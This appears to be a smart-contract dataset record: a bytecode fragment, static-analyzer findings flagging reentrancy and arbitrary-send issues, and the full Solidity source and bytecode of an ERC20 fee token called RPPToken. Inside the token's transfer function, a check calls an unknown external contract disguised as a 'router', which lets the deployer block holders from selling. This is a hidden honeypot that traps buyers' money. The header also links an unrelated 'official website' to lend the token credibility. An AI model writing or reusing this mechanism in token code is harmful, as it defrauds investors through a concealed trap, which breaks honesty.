690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333e8161397e565b6133488483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ca87613844565b95509550955095509550955061342886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135098161397e565b6135138483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f9578260026000600984815481106135d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b8575081600360006009848154811061365057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d657600a54683635c9adc5dea0000094509450505050613840565b61375f60026000600984815481106136ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ac90919063ffffffff16565b92506137ea600360006009848154811061377557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ac90919063ffffffff16565b915080806001019150506135b2565b50613818683635c9adc5dea00000600a5461282e90919063ffffffff16565b82101561383757600a54683635c9adc5dea00000935093505050613840565b81819350935050505b9091565b60008060008060008060008060006138618a600c54600d54613b5d565b9250925092506000613871612acf565b905060008060006138848e878787613bf3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227f565b905092915050565b600080828401905083811015613974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613988612acf565b9050600061399f82846127a890919063ffffffff16565b90506139f381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1e57613ada83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3882600a546138ac90919063ffffffff16565b600a81905550613b5381600b546138f690919063ffffffff16565b600b819055505050565b600080600080613b896064613b7b888a6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bb36064613ba5888b6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bdc82613bce858c6138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0c85896127a890919063ffffffff16565b90506000613c2386896127a890919063ffffffff16565b90506000613c3a87896127a890919063ffffffff16565b90506000613c6382613c5585876138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d7aac55845d815301cbd148118ff50d2abca1d4f0b227ad4340f832ed874bfca64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,350
0xE66c9c7F1b216D1FceC95D3849814EB1469ade8d
//SPDX-License-Identifier: MIT // Telegram: http://t.me/rpptoken // Official website: https://www.corda.net/ pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="Remote Procedure Proxy"; string constant TOKEN_NAME="RPP"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract RPPToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600381526020017f5250500000000000000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b6305f5e1006104219190612b24565b905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b6305f5e1006105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601681526020017f52656d6f74652050726f6365647572652050726f787900000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60098110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b6000479050670de0b6b3a76400008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b6305f5e100611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b6305f5e100611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b6305f5e100611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b9291505056